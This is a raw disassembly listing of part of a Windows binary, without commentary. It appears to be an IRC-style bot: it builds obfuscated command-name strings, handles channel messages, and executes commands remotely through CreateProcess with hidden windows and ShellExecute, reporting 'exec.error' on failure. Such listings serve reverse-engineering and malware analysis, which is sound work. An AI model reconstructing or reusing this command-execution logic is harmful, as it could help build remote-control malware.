push 0FFFFFFFFh
push offset SEH_403C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D10 proc near ; CODE XREF: sub_401AD2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D10 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D90 proc near ; CODE XREF: sub_401749j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E00 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_402207
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403EE0 proc near ; CODE XREF: sub_40206Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403EE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AD2
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403EE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403FC0 proc near ; CODE XREF: sub_401D34j
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403FC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017E4
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+84h+var_3C]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+7Ch+var_3C]
push 2
push ecx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+64h+var_4], 2
call sub_4017E4
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+80h+var_3C]
push 2
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+64h+var_4], 3
call sub_4017E4
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+84h+var_3C]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 4
call sub_4017E4
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 10h
push 13h
push 0Ch
push 4Fh
lea ecx, [esp+74h+var_3C]
push 2
push ecx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 5
call sub_4017E4
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+88h+var_3C]
push 2
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov [esp+64h+var_4], 6
call sub_4017E4
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+78h+var_3C]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+64h+var_4], 7
call sub_4017E4
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+78h+var_3C]
push 2
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+64h+var_4], 8
call sub_4017E4
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+74h+var_3C]
push 2
push eax
call sub_4019B5
add esp, 1Ch
mov [esp+60h+var_4], 9
push esi
mov ecx, eax
call sub_4017E4
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+74h+var_3C]
push 2
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Ah
call sub_4017E4
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+74h+var_3C]
push 2
push ecx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Bh
call sub_4017E4
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+84h+var_3C]
push 2
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Ch
call sub_4017E4
lea ecx, [esi+0CB3h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+78h+var_3C]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0Dh
call sub_4017E4
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+60h+var_3C]
mov [esp+60h+var_4], edi
call sub_401226
lea ecx, [esi+9]
call sub_4017E4
lea ecx, [esp+60h+var_54]
push eax
push ecx
call sub_402022
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+70h+var_3C]
push 28h
push edx
mov [esp+78h+var_4], 0Eh
call sub_4019B5
add esp, 18h
mov ebp, eax
lea ecx, [esp+60h+var_54]
mov byte ptr [esp+60h+var_4], 0Fh
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60A5
call sub_401E0B
add esp, 10h
lea ecx, [esp+60h+var_3C]
mov byte ptr [esp+60h+var_4], 0Eh
call sub_401226
push 20h
lea eax, [esp+64h+var_24]
push 0
push eax
lea ecx, [esp+6Ch+var_54]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+60h+var_4], 10h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E75
call sub_40102D
add esp, 0Ch
lea ecx, [esp+60h+var_24]
mov byte ptr [esp+60h+var_4], 0Eh
call sub_401226
call near ptr 27F06FDh
nop
mov ecx, eax
mov eax, 10624DD3h
mov [esp+60h+var_4], edi
mul ecx
shr edx, 6
lea ecx, [esp+60h+var_54]
mov [esi+5], edx
call sub_401226
mov ecx, [esp+60h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 54h
retn
sub_403FC0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 150h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404640 proc near ; CODE XREF: sub_401A32j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404640
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_40146F
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_404682
push ebx
jmp short loc_404686
; ---------------------------------------------------------------------------
loc_404682: ; CODE XREF: sub_404640+3Dj
lea eax, [esi+15h]
push eax
loc_404686: ; CODE XREF: sub_404640+40j
mov ecx, edi
call sub_401FBE
mov al, [esi+94h]
test al, al
jz short loc_4046A2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FBE
loc_4046A2: ; CODE XREF: sub_404640+55j
mov al, [esi+95h]
test al, al
jz short loc_40471F
lea ecx, [esp+98h+var_6C]
call sub_401424
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013E3
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FBE
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40471F: ; CODE XREF: sub_404640+6Aj
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E2E
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_40146F
push 0
mov ecx, esi
mov ebp, eax
call sub_40146F
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_4049EA
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019B5
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40480F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
test eax, eax
jz short loc_40480F
mov bl, 1
jmp short loc_404811
; ---------------------------------------------------------------------------
loc_40480F: ; CODE XREF: sub_404640+1A6j
; sub_404640+1C9j
xor bl, bl
loc_404811: ; CODE XREF: sub_404640+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_4049CE
push offset asc_443600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_4049EA
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_4049EA
push 20h
mov ecx, esi
call sub_401D20
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E2E
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D20
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40200E
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FBE
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016AE
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E2E
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049A7
test ebp, ebp
jle short loc_4049B8
loc_404998: ; CODE XREF: sub_404640+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F69
dec ebp
jnz short loc_404998
jmp short loc_4049B8
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_404640+352j
test ebp, ebp
jle short loc_4049B8
loc_4049AB: ; CODE XREF: sub_404640+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_401442
dec ebp
jnz short loc_4049AB
loc_4049B8: ; CODE XREF: sub_404640+356j
; sub_404640+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049CE: ; CODE XREF: sub_404640+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_4049E5
call sub_401F69
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049E5: ; CODE XREF: sub_404640+39Cj
call sub_401442
loc_4049EA: ; CODE XREF: sub_404640+162j
; sub_404640+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B10 proc near ; CODE XREF: sub_401F69j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_448C92
call sub_4014D3
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404B56
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
test eax, eax
jnz short loc_404B56
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B56: ; CODE XREF: sub_404B10+1Dj
; sub_404B10+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
test eax, eax
jnz short loc_404B96
mov al, [edi+469h]
test al, al
jz short loc_404B96
push 0
lea ecx, [esi+2Ah]
call sub_40146F
cmp byte ptr [eax], 23h
jz short loc_404B96
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B96: ; CODE XREF: sub_404B10+64j
; sub_404B10+6Ej ...
push esi
mov ecx, edi
call sub_401442
pop edi
pop esi
retn 4
sub_404B10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404BE0 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, offset dword_447148
call sub_401AF0
test eax, eax
jz short loc_404C0A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C0A: ; CODE XREF: sub_404BE0+1Cj
xor al, al
pop esi
retn 4
sub_404BE0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C20 proc near ; CODE XREF: sub_40185Cj
push esi
push edi
mov edi, dword_50F8A4
mov esi, ecx
call edi ; dword_50F8A4
mov edx, dword_4D60C9
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C4F
mov ecx, offset byte_4D60A5
call sub_401D0C
call edi ; dword_50F8A4
mov dword_4D60C9, eax
loc_404C4F: ; CODE XREF: sub_404C20+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C20 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_4017C6j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404C70
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404CE4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [edi+2E3h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404CE4: ; CODE XREF: sub_404C70+40j
lea ecx, [edi+0D6Bh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404E75
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C5D
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 2810000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FBE
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014D3
push eax
push 0
call near ptr 2800000h
nop
test eax, eax
jnz short loc_404E49
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404E49: ; CODE XREF: sub_404C70+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404E75: ; CODE XREF: sub_404C70+89j
lea ecx, [edi+0B71h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F24
push 1
push offset asc_443600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E6E75
mov [esp+178h+var_4], 3
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F10
mov al, byte_4478C6
test al, al
jz short loc_404EE0
push offset dword_447864
mov ecx, offset dword_448DA0
call sub_401447
loc_404EE0: ; CODE XREF: sub_404C70+25Fj
mov al, byte_44790F
test al, al
jz short loc_404EF8
push offset byte_44793F
mov ecx, offset dword_448DA0
call sub_401942
loc_404EF8: ; CODE XREF: sub_404C70+277j
mov ecx, offset dword_448DA0
call sub_401E5B
mov byte_4D60BC, 0
mov byte_4E6E74, 0
loc_404F10: ; CODE XREF: sub_404C70+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404F24: ; CODE XREF: sub_404C70+21Aj
lea ecx, [edi+0C57h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404F6C
lea ecx, [esi+69h]
call sub_4014D3
push eax
mov ecx, offset word_4E6E8A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404F6C: ; CODE XREF: sub_404C70+2C9j
lea ecx, [edi+0DC7h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405029
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019B5
add esp, 2Ch
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1A8h+var_164]
push 9
push ecx
mov [esp+1B0h+var_4], 4
call sub_4019B5
add esp, 38h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405029: ; CODE XREF: sub_404C70+311j
lea ecx, [edi+0D0Fh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405147
lea ecx, [esp+178h+var_14C]
call sub_401424
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A87
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017E4
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4020F4
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40200E
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
